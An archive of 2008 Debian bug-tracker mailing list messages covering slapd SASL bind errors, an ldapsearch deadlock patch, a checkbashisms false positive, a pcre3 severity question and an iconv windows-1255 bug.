tags 464937 moreinfo thanks On Sun, Feb 10, 2008 at 04:29:55AM +0530, Ritesh Raj Sarraf wrote: This is what happens during start 7 20Feb 10 04:21:09 learner slapd[1036]: daemon: shutdown requested and initiated. 7 20Feb 10 04:21:09 learner slapd[1036]: slapd shutdown: waiting for 0 threads to terminate 7 20Feb 10 04:21:09 learner slapd[1036]: slapd stopped. 7 20Feb 10 04:21:09 learner slapd[1439]: @(#) $OpenLDAP: slapd 2.4.7 (Jan 26 2008 03:21:30) [EMAIL PROTECTED]:/build/buildd/openldap2.3-2.4.7/d ebian/build/servers/slapd 7 20Feb 10 04:21:09 learner slapd[1439]: daemon_init: listen on ldap://127.0.0.1:389/ 7 20Feb 10 04:21:09 learner slapd[1439]: daemon_init: 1 listeners to open... 7 20Feb 10 04:21:09 learner slapd[1439]: daemon: listener initialized ldap://127.0.0.1:389/ 7 20Feb 10 04:21:09 learner slapd[1439]: daemon_init: 1 listeners opened 7 20Feb 10 04:21:09 learner slapd[1439]: slapd init: initiated server. 3 4 Feb 10 04:21:09 learner slapd[1439]: auxpropfunc error invalid parameter supplied 7 4 Feb 10 04:21:09 learner slapd[1439]: _sasl_plugin_load failed on sasl_auxprop_plug_init for plugin: ldapdb 7 20Feb 10 04:21:09 learner slapd[1439]: slap_sasl_init: initialized! 7 20Feb 10 04:21:09 learner slapd[1441]: slapd starting So, sasl is initialized. The _sasl_plugin_load error started only after I installed the libsasl2-modules-ldap hoping that that might solve the problem. But no, it didn't. Now what I connect to the server using my addressbook client (KDE Addressbook LDAP Resource), I get the following errors. 7 20Feb 10 04:22:51 learner slapd[1441]: SASL [conn=6] Error: unable to open Berkeley db /etc/sasldb2: No such file or directory 7 20Feb 10 04:22:51 learner slapd[1441]:last message repeated 2 times 7 20Feb 10 04:22:51 learner slapd[1441]: SASL [conn=6] Failure: no secret in database 3 4 Feb 10 04:22:51 learner [kdeinit]ldap /tmp/ksocket-rrs/klauncherYPhlab.s: attempting client step after doneflag 7 20Feb 10 04:22:51 learner slapd[1441]: connection_operation: error: SASL bind in progress (tag=66). 7 20Feb 10 04:22:52 learner slapd[1441]: SASL [conn=7] Error: unable to open Berkeley db /etc/sasldb2: No such file or directory 7 20Feb 10 04:22:52 learner slapd[1441]:last message repeated 2 times 7 20Feb 10 04:22:52 learner slapd[1441]: SASL [conn=7] Failure: no secret in database 3 4 Feb 10 04:22:52 learner [kdeinit]ldap /tmp/ksocket-rrs/klauncherYPhlab.s: attempting client step after doneflag 7 20Feb 10 04:22:52 learner slapd[1441]: connection_operation: error: SASL bind in progress (tag=66). There is no folder named /etc/sasldb2 on my system. How am I supposed to create it ? Is it correct for slapd to look at that path ? There is no document much about ldap in /usr/share/doc/slapd/ Is this an upgrade from a previous version of slapd where you had SASL auth working? Or is this a new install? If you haven't configured SASL, then you should not be doing SASL binds to the LDAP server, you should be doing simple binds instead. If you have configured SASL and had it working before, we would need to know the details of your configuration (starting with the non-sensitive parts of /etc/ldap/slapd.conf) to try to reproduce this problem. But, AFAIK all SASL auth requires configuring the Cyrus SASL library to specify which mechanisms should be used and with what passwords. -- Steve Langasek Give me a lever long enough and a Free OS Debian Developer to set it on, and I can move the world. Ubuntu Developerhttp://www.debian.org/ [EMAIL PROTECTED] [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#340601: [Pkg-openldap-devel] Bug#340601: ldapsearch hangs when using ldap for /etc/hosts
On Sat, Feb 09, 2008 at 09:12:35PM -0800, Russ Allbery wrote: Here is a patch that fixes the deadlock for me. Fellow maintainers, is this ok to commit to the package, or would you prefer I clean it up first so that it's suitable for upstream submission? I think it's fine to commit to the package for right now. I'll go file an upstream bug about the issue so that they're aware of it; my guess is that they may have other ideas for how to fix it. Ok, I've scaled back the patch a bit before committing it because a deeper search leaves me uncertain that res_query and dn_expand are thread-safe even in current versions of glibc. Dropping the mutex for getaddrinfo() and getnameinfo() is sufficient to fix this bug, in any case. -- Steve Langasek Give me a lever long enough and a Free OS Debian Developer to set it on, and I can move the world. Ubuntu Developerhttp://www.debian.org/ [EMAIL PROTECTED] [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464976: checkbashisms: fails to catch some shell wrappers
Package: devscripts
Version: 2.10.15
User: [EMAIL PROTECTED]
Usertags: checkbashisms
checkbashisms' output when checking /usr/bin/ding (from ding 1.5-3 package):
possible bashism in ./usr/bin/ding line 1148 (brace expansion):
.search.s.searchmeth configure -text {$searchmeth($i,name)}
possible bashism in ./usr/bin/ding line 1152 (brace expansion):
-text {$searchmeth($i,dictfile)}
possible bashism in ./usr/bin/ding line 1344 ():
. configure -menu .menuBar
possible bashism in ./usr/bin/ding line 1350 ():
. configure -menu .nomenuBar
possible bashism in ./usr/bin/ding line 1359 ():
. configure -menu .menuBar
possible bashism in ./usr/bin/ding line 1364 ():
. configure -menu .nomenuBar
possible bashism in ./usr/bin/ding line 1428 ('((' should be '$(('):
$t configure -tabs [expr round(($width / 2) - 2)]
possible bashism in ./usr/bin/ding line 1640 ():
. configure -menu .menuBar
possible bashism in ./usr/bin/ding line 1642 ():
. configure -menu .nomenuBar
But:
$ head -n3 usr/bin/ding
#!/bin/sh
# the next line restarts using wish \
LC_CTYPE=de_DE.UTF-8; export LC_CTYPE; exec wish $0 $@
Kind regards,
--
Atomo64 - Raphael
Please avoid sending me Word, PowerPoint or Excel attachments.
See http://www.gnu.org/philosophy/no-word-attachments.html
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464937: slapd fails with sasl errors
On Sunday 10 February 2008, Steve Langasek wrote: Is this an upgrade from a previous version of slapd where you had SASL auth working? Or is this a new install? No. It is a fresh install. I have never used slapd before. Does slapd work without SASL ? I couldn't find it anywhere for the package in Debian. If you haven't configured SASL, then you should not be doing SASL binds to the LDAP server, you should be doing simple binds instead. If you have configured SASL and had it working before, we would need to know the details of your configuration (starting with the non-sensitive parts of /etc/ldap/slapd.conf) to try to reproduce this problem. But, AFAIK all SASL auth requires configuring the Cyrus SASL library to specify which mechanisms should be used and with what passwords. Here's an output: [EMAIL PROTECTED]:~$ ldapsearch -x -b '' -s base '(objectclass=*)' namingContexts ldap_sasl_bind(SIMPLE): Can't contact LDAP server (-1) This is what the manpage is saying for -x -x Use simple authentication instead of SASL. Ritesh -- Ritesh Raj Sarraf RESEARCHUT - http://www.researchut.com Necessity is the mother of invention. signature.asc Description: This is a digitally signed message part.
Bug#464974: Bug severity level.
Hi! A quick question, as this pcre3 bug obviously affects several innocent packages on the system, shouldn't it be upgraded to severity critical? Simply installing the faulty lib renders already installed, unchanged packages unusuable. Greetings, Gunter -- *** Powered by AudioScrobbler -- http://www.last.fm/user/Interneci/ *** 23:55 | SULLENOID - In The Hands Of Morpheus 23:49 | SULLENOID - Darken My Day 23:43 | SULLENOID - The Season To Come 23:38 | SULLENOID - Blacksnow *** PGP-Verschlüsselung bei eMails erwünscht :-) *** PGP: 0x1128F25F *** signature.asc Description: This is a digitally signed message part.
Bug#464977: libc6: iconv drops the last character in a windows-1255 string if it's non ascii
Package: libc6 Version: 2.7-6 Severity: important a valid windows-1255 string is translated to utf-8 by droping it's last char. it happens only if that last char is non-ascii itself. for example, \xe1\xe2\xe3. it translates to a 2 characters long string. it doesn't happen with other windows-* codepages, neither with the similar iso-8859-8 equivalent. this is probably an upstream bug, but i report it here not to polute the upstream mailing list with not generally attending people. but i know debian maintainers are there :) . best regards, alex -- System Information: Debian Release: lenny/sid APT prefers testing APT policy: (500, 'testing') Architecture: i386 (i686) Kernel: Linux 2.6.22-3-686 (SMP w/2 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages libc6 depends on: ii libgcc1 1:4.3-20080116-1 GCC support library libc6 recommends no packages. -- debconf information: glibc/restart-failed: glibc/restart-services: -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
